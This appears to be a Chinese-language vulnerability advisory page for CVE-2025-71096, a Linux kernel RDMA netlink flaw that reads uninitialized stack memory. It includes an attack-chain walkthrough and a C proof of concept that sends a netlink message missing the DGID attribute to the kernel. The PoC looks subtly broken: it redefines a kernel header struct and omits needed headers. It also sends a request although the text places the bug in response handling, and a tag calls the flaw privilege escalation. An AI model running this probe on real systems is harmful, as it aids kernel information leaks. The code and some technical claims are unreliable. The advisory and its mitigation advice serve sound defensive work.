IPBUF安全漏洞报告
English
CVE-2025-71096 CVSS 5.5 中危

CVE-2025-71096 Linux内核RDMA未初始化栈读取漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71096
漏洞类型
未初始化内存读取
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel RDMA/core

相关标签

Linux内核RDMA未初始化内存读取信息泄露netlinkCVE-2025-71096KMSAN本地提权Infiniband

漏洞概述

CVE-2025-71096是Linux内核中RDMA/core子系统的安全漏洞,存在于RDMA_NL_LS_OP_IP_RESOLVE操作的netlink响应处理逻辑中。该漏洞允许本地低权限用户通过构造恶意的netlink消息,触发内核从未初始化的栈内存中读取数据,可能导致敏感内核信息泄露。漏洞的根本原因在于对LS_NLA_TYPE_DGID属性的验证和解析逻辑不完善,当用户空间不提供必需的DGID时,内核会执行未初始化的读取操作。此漏洞通过KMSAN(Kernel Memory Sanitizer)检测发现,攻击复杂度低,无需用户交互即可触发。

技术细节

该漏洞位于Linux内核的drivers/infiniband/core/addr.c文件中,具体在ib_nl_handle_ip_res_resp和ib_nl_process_good_ip_rsep函数中。问题在于RDMA_NL_LS_OP_IP_RESOLVE的netlink响应处理逻辑存在缺陷:原来的代码使用for循环搜索nla属性,但这种方式无法正确验证DGID的存在性。当用户空间发起IP解析请求但不提供LS_NLA_TYPE_DGID属性时,内核直接索引nlattrs数组获取DGID数据,导致读取未初始化的栈内存。漏洞触发路径为:用户空间通过netlink发送不包含DGID的IP_RESOLVE请求 -> 内核ib_nl_handle_ip_res_resp处理响应 -> 调用ip6_string/vsprintf进行格式化输出 -> 读取未初始化的栈数据。修复方案是使用nla_parse_deprecated()正确填充nlattrs数组,然后直接索引该数组获取DGID数据,如果为NULL则直接返回错误。

攻击链分析

STEP 1
1
攻击者创建NETLINK_RDMA类型的原始套接字
STEP 2
2
构造RDMA_NL_LS_OP_IP_RESOLVE类型的netlink消息,故意不包含LS_NLA_TYPE_DGID属性
STEP 3
3
通过send()系统调用将恶意消息发送给内核
STEP 4
4
内核ib_nl_handle_ip_res_resp函数接收请求,由于缺少DGID验证,直接索引未初始化的nlattrs数组
STEP 5
5
内核调用ip6_string/vsprintf进行格式化时读取未初始化的栈内存
STEP 6
6
通过dmesg或KMSAN日志可观察到uninit-value错误,可能泄露内核栈数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_RDMA 36 // RDMA netlink protocol #define RDMA_NL_LS_OP_IP_RESOLVE 6 struct nlmsghdr { __u32 nlmsg_len; __u16 nlmsg_type; __u16 nlmsg_flags; __u32 nlmsg_seq; __u32 nlmsg_pid; }; int main() { int sock; struct sockaddr_nl addr; char buffer[1024]; struct nlmsghdr *nlh; // Create netlink socket sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_RDMA); if (sock < 0) { perror("socket failed"); return 1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; addr.nl_pid = getpid(); if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); close(sock); return 1; } // Prepare malicious netlink message WITHOUT DGID attribute nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_SPACE(64); nlh->nlmsg_type = RDMA_NL_LS_OP_IP_RESOLVE; nlh->nlmsg_flags = 0; nlh->nlmsg_seq = 1; nlh->nlmsg_pid = getpid(); // Note: Intentionally NOT including LS_NLA_TYPE_DGID attribute // This triggers uninitialized stack read in kernel // Send the malformed request send(sock, nlh, nlh->nlmsg_len, 0); printf("Malicious IP_RESOLVE request sent (without DGID)\n"); printf("This may trigger KMSAN uninit-value warning in kernel log\n"); close(sock); return 0; }

影响范围

Linux Kernel < 0b948afc1ded88b3562c893114387f34389eeb94
Linux Kernel < 376f46c8983458ead26cac83aa897a0b78491831
Linux Kernel < 45532638de5da24c201aa2a9b3dd4b054064de7b
Linux Kernel < 9d85524789c2f17c0e87de8d596bcccc3683a1fc
Linux Kernel < a7b8e876e0ef0232b8076972c57ce9a7286b47ca

防御指南

临时缓解措施
在无法立即升级内核的情况下,可通过以下措施缓解风险:1) 审查并限制对/dev/infiniband设备的访问权限;2) 使用SELinux或AppArmor策略限制RDMA相关系统调用;3) 监控内核日志中的KMSAN uninit-value警告;4) 考虑禁用不需要的RDMA功能模块(rdma_ucm、iw_cm等)。但这些措施仅为临时防护,最根本的解决方案仍是应用官方内核安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表